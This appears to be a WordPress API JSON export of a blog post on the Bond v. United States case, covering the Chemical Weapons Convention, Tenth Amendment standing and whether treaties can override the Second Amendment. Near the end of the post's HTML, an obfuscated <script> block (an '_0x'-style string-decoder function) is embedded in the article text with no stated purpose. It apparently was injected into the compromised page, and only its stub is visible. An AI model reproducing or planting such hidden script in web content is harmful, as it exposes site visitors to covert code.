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That led to federal charges of stealing mail\u2014and violating criminal  statutes implementing the international Chemical Weapons Convention,  which the U.S. ratified in 1997. Ms. Bond, who in 2007 was sentenced to  six years imprisonment, appealed on grounds that Congress lacked  authority to punish her for the chemical assaults.<\/p>\n<p>In Philadelphia, the Third U.S. Circuit Court of Appeals denied Ms.  Bond the right to raise that claim, ruling that only state officials had  legal standing to assert a 10th Amendment violation of their authority.  When Ms. Bond appealed to the Supreme Court, the Justice Department  abandoned the Third Circuit&#8217;s decision, conceding individual defendants  were entitled to argue that they were charged under laws exceeding  congressional power.<\/p><\/blockquote>\n<p>For the record, keep your eye on another moving part here: whether treaties are permitted to override Constitutional protections.\u00a0 This <em>could<\/em> mean that even if the US were to sign a small arms treaty of some kind, provisions that violate our understanding of the 2nd Amendment might not apply here in the US.\u00a0 This isn&#8217;t to imply that signing or ratifying such a treaty would be a good idea, or that the Court would agree with me, just that the Court&#8217;s decision on this case might signal its current thought on the matter.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Continuing to work my way through the Debates on the Constitution, at a languid pace, I came to this letter from James Madison to Thomas Jefferson.\u00a0 Jefferson was, at the time, Minister to France, so had no direct role in drafting the Constitution.\u00a0 Madison&#8217;s main concern in the letter is federalism, and the division of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[57,56,51],"tags":[74,89,88],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/956"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=956"}],"version-history":[{"count":2,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/956\/revisions"}],"predecessor-version":[{"id":958,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/956\/revisions\/958"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=956"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}